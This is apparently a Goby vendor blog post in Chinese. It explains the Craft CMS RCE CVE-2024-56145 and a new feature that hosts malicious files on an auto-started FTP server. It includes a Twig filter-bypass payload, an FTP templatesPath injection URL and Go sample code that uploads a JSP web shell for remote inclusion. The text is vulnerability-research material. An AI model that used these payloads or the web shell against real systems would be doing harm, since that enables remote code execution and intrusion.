技术分享|EXP能力升级(二):还在手搓FTP?看Goby如何一键拿下服务依赖型漏洞shell

Gobybot  42分钟前

5cec31f298cd1e235254e6f910a25a4a.png

前言

在 EXP 能力升级系列的第一期中,我们围绕 Oracle E-Business Suite 的 CVE-2025-61882 漏洞,通过新增HTTP独立服务实例,实现了自定义路径与多用户服务隔离,打通路径适配利用链路。(第一期可戳文末跳转阅读)

在本期内容中,我们将聚焦另一类高频漏洞利用场景——以 Craft CMS 的远程代码执行漏洞 CVE-2024-56145为例,针对在漏洞验证及利用过程中需要依赖FTP服务存放恶意文件实现RCE的漏洞,展示Goby如何详细拆解该漏洞的利用原理并进行 自定义FTP 服务能力升级。

CVE-2024-56145 漏洞原理与利用链解析

Craft CMS 作为一款广泛使用的内容管理系统,其在 PHP 环境下的配置缺陷成为了攻击者突破防线的关键入口。CVE-2024-56145 漏洞的危害等级被评定为 “严重”,核心风险在于无需认证即可实现远程代码执行(RCE),这一漏洞的触发条件依赖于服务器 PHP 配置中是否启用了 register_argc_argv 参数。

漏洞触发的关键前提

register_argc_argv 是 PHP 中的一个环境变量配置项,启用后会将命令行参数分别存入 $argc(参数个数)和 $argv(参数数组)变量。正常情况下,该配置主要用于命令行脚本开发,但当 Craft CMS 未对这一配置场景下的参数解析逻辑做严格校验时,便为漏洞利用埋下了隐患。在默认 PHP 配置下,攻击者可以通过查询字符串控制 $_SERVER['argv'] 数组的内容。

完整利用链拆解

攻击者利用该漏洞的过程可分为三个核心步骤:

image.png

1. 搭建恶意 FTP 服务器

攻击者首先需要部署一个远程 FTP 服务器(需要提供认证信息),并在服务器中存放一个特制的恶意 Twig 模板文件。Twig 作为 Craft CMS 默认使用的模板引擎,虽然不能直接执行 PHP 代码,但攻击者可以利用 Twig 的模板注入功能通过内置过滤器和函数间接执行系统命令。由于 Craft CMS 对危险函数进行了过滤,攻击者需要构造特殊的 payload 来绕过安全限制,例如:

{{ ['system', 'ls'] | sort('call_user_func') | join('') }}

这利用了 sort 过滤器会调用比较函数的特性,间接执行 call_user_func('system', 'id')

2. 构造特殊 HTTP 请求

攻击者向目标 Craft CMS 站点发送 HTTP 请求时,会在 URL 中植入关键参数 ?--templatesPath=ftp://user:pass@server:port/。这里的核心技巧在于,--templatesPath 本是 Craft CMS 命令行模式下用于指定模板路径的参数,但由于 register_argc_argv 配置启用且 Craft CMS 未验证运行环境,系统错误地将 HTTP 请求中的这些参数识别为命令行传入的配置项,从而绕过了正常的路径校验逻辑。

3. 模板加载与代码执行

当 Craft CMS 接收到该请求后,会按照"命令行参数"的解析逻辑,将 --templatesPath 指向的 FTP 地址作为模板文件的加载来源。系统会自动连接攻击者控制的 FTP 服务器,下载并解析恶意 Twig 模板。由于 FTP 包装器支持 file_exists() 检查(这是该漏洞利用选择 FTP 而非 HTTP 包装器的关键原因),能够通过 Craft CMS 的文件存在性验证。最终,特制的 Twig 模板在服务器上被渲染执行,从而实现远程代码执行。

从繁琐到高效:Goby 直击FTP依赖型漏洞调试问题

然而,安全研究人员在编写该类型漏洞的 EXP 时,若通过自行搭建 FTP 服务器实现完整利用链,则需要把预先设置好恶意命令内容的文件放置在FTP目录下,再发送payload进行漏洞利用。

这个时候就会遇到一个问题:若需修改执行的命令,则需要再手动去修改FTP目录下对应的恶意文件内容进行调试,再发送新的payload请求,遇到不同特定场景的漏洞又需要再做出不同的文件配置操作,这无疑是给漏洞研究环节增加了很多繁琐性的工作。

Goby EXP模块针对这一问题进行升级——新增CustomFtpReq方法。安全研究人员只需要关注执行的payload,CustomFtpReq方法可以实现自动启动公网自定义FTP服务,并通过CustomFtpUploadFile函数自动根据payload创建/修改对应的文件类型及内容到指定目录,提供了流程效率上的便利。

大致的结构体实现流程如图所示:

image.png

CustomFtpReq 结构体参数

用于启动自定义FTP服务配置

参数名类型默认值说明限制和注意事项
MaxFileSizeint64124KB最大文件大小限制(字节)- 必须为正数- 小于等于0时自动设置为124KB- 建议根据实际需求设置合理大小
Timeoutint60连接超时时间(秒)- 必须为正数- 小于等于0时自动设置为60- 仅影响FTP连接超时,不影响服务存活时间

CustomFtpInfo 结构体参数(返回值)

参数名类型说明使用场景
FtpUrlstring完整的FTP连接URL可直接用于FTP客户端连接
HoststringFTP主机地址用于构建自定义URL
PortintFTP端口用于构建自定义URL
MaxFileSizeint64最大文件大小限制验证上传文件大小
Timeoutint连接超时时间FTP客户端连接超时设置
ServiceIdstring服务ID服务标识和调试

实战 POC 中的用法示例

// 创建自定义FTP服务
req := godclient.CustomFtpReq{
    MaxFileSize: 1024 * 1024, // 1MB 文件大小限制
    Timeout:     30,          // 30秒超时
}

ftpInfo, err := godclient.CreateCustomFtp(req)
if err != nil {
    return "", nil
}

// 上传恶意文件到FTP服务器
maliciousContent := "<%@ page language='java' %><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"
filename = "shell.jsp"

err = godclient.CustomFtpUploadFile(ftpInfo, filename, maliciousContent, 10)
if err != nil {
    return "", nil
}

// 构建攻击载荷,使用上传的FTP文件路径
payload := fmt.Sprintf(`http://target.com/path/include.jsp?file=ftp://%s:%d/%s`,
    ftpInfo.Host, ftpInfo.Port, filename)

// 发起攻击请求
cfg := httpclient.NewGetRequestConfig("/vulnerable/endpoint")
cfg.Params.Add("url", payload)
resp, err := jsonvul.DoHttpRequestWithba seDir(u, cfg)
if err != nil || resp.StatusCode != 200 {
    return "", nil
}

以CVE-2024-56145 为例的自定义FTP服务实战能力详解

使用CustomFtpInfo方法后,即可实现自动化FTP服务恶意命令内容搭建与上传流程,仅需两步即可实现完整检测与利用流程:

第一步:启动FTP服务并上传文件

        res, err := godclient.CreatCustomFtp(godclient.CustomFtpReq{
			MaxFileSize: 124 * 1024,
			Timeout:     180,
		})
		if err != nil {
			return "", "", nil
		}
		err = godclient.CustomFtpUploadFile(res, "index.twig", payload, 10)
		if err != nil {
			return "", "", nil
		}

FTP服务器启动效果,index.twig文件的效果就是输出一个随机字符串

image.png

第二步:通过发送漏洞验证数据包,检查目标服务器的响应是否存在代码执行效果

image.png

image.png

最终的Goby一键验证利用效果如视频所示:

0ef9f8c744a9b14a860479e2e886ee64.gif

总结

从第一期针对 “路径固定” 问题的 CreateCustomHttp 方法,到本期聚焦 “FTP 服务依赖” 的CustomFtpInfo 方法,Goby EXP 能力升级的核心始终围绕特定场景下的“实战痛点” 展开。在 CVE-2024-56145 的漏洞利用实践中,FTP 服务自定义能力不仅简化了漏洞验证流程,更通过标准化的服务配置,让漏洞研究变得更加高效。

下一期我们将聚焦fake-mysql能力升级,围绕检测利用JDBC连接反序列化等漏洞场景,实现读取客户端文件或执行命令,敬请期待第三期的技术分享吧~

同时也欢迎各位表哥表姐交流在Goby EXP环节遇到的问题,Bot会收集大家的问题建议作为我们下一步升级的方向哦~

最新评论

昵称
邮箱
提交评论